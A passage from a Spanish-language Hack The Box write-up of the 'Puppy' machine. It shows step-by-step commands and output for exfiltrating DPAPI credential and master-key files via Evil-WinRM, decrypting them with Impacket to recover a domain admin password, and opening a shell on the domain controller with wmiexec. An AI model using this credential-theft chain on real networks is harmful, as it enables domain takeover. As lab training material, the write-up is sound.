❯ echo -n 'AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc' | base64 -d > C8D69EBE9A43E9DEBF6B5FBD48B521B9
Como paso extra (pero que siempre recomiendo), revisamos que el archivo ha sido transferido correctamente desde la máquina víctima a nuestra máquina de atacantes utilizando su hash MD5
. En la máquina víctima Windows
podemos utilizar certutil
para este propósito:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> certutil -hashfile C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 MD5
MD5 hash of C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9:
dd0259ec230bb91ef986e7b97835b0e4
CertUtil: -hashfile command completed successfully.
Y en nuestra máquina de atacantes (Linux
) ejecutamos:
❯ md5sum C8D69EBE9A43E9DEBF6B5FBD48B521B9
dd0259ec230bb91ef986e7b97835b0e4 C8D69EBE9A43E9DEBF6B5FBD48B521B9
Ambos tienen el mismo hash MD5
. Por lo que la integridad de la data está intacta.
Ahora bien, necesitamos obtener algunas “master keys” (llaves maestras) para extraer el contenido cifrado. Para ello primero necesitamos nuestro SID
en el dominio, el cual puede ser obtenido fácilmente ejecutando whoami /user
:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> whoami /user
USER INFORMATION
----------------
User Name SID
================== ==============================================
puppy\steph.cooper S-1-5-21-1487982659-1829050783-2281216199-1107
También podemos obtener el SID
desde Bloodhound
.
Una vez hemos obtenido nuestro SID
, revisamos las master keys para éste:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs- 2/23/2025 2:36 PM 24 Preferred
Tenemos una master key. Descargamos este archivo como habíamos hecho anteriormente; pasando su contenido a base64
:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))
AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=
Y decodificándolo en nuestra máquina de atacantes:
❯ echo -n 'AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=' | base64 -d > 556a2412-1275-4ccf-b721-e6a0b4f90407
Ahora podemos utilizar dpapi.py
de la suite de Impacket
para extraer el contenido de los archivos DPAPI
. Primero, extraemos el contenido de la masterkey
(el segundo archivo que decodificamos) utilizando el SID
de steph.cooper
junto con su contraseña:
❯ impacket-dpapi masterkey -f 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107' -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Funcionó. Esto retorna un campo Decrypted key
el cual es el importante.
Usamos el valor de Decrypted key
del comando anterior para extraer el contenido del archivo DPAPI
(el primer archivo que decodificamos/descargamos):
❯ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
Tenemos credenciales: steph.cooper_adm:FivethChipOnItsWay2025!
.
Revisamos si estas credenciales funcionan para el servicio SMB
:
❯ nxc smb 10.129.246.234 -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)
Funcionan. Pero esperen, hay más. Obtenemos el mensaje Pwn3d!
para el servicio SMB
. Ello quiere decir que el usuario steph.cooper_adm
es un administrador/usuario privilegiado en esta máquina. Dado que la máquina se llamaba DC
, se asume que este es el Domain Controller
del dominio y por ende este usuario también es administrador del dominio. Todo esto puede ser corroborado de igual manera con Bloodhound
.
Finalmente, podemos utilizar una herramienta como wmiexec.py
de Impacket
para obtener una shell en la máquina DC
como este usuario privilegiado:
❯ impacket-wmiexec PUPPY.HTB/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.129.246.234
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
puppy\steph.cooper_adm
GG. Podemos extarer la flag de root
en el Desktop del usuario Administrator
.
~Happy Hacking.